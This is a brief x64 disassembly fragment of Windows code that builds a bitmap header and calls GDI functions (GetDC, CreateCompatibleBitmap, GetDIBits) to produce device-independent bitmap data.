and dword [rax + 0x18], 0
and dword [rax + 0x1c], 0
and dword [rax + 0x20], 0
and dword [rax + 0x24], 0
movzx ecx, bx
mov word [rax + 0xe], cx
imul ecx, ebp
mov dword [rax], 0x28
mov dword [rax + 4], ebp
mov dword [rax + 8], edi
mov word [rax + 0xc], r15w
add ecx, 0x1f
sar ecx, 3
and ecx, 0xfffffffc
imul ecx, edi
mov dword [rax + 0x14], ecx
cmp ebx, 0x10
jge 0x1800166e6
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r8d, r15d
mov edx, r15d
mov rcx, rax
mov rdi, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
and dword [rsp + 0x30], 0
xor r9d, r9d
mov rdx, rax
mov qword [rsp + 0x28], rsi
and qword [rsp + 0x20], 0
xor r8d, r8d
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.GDI32.dll_GetDIBits]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rbx, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r15
ret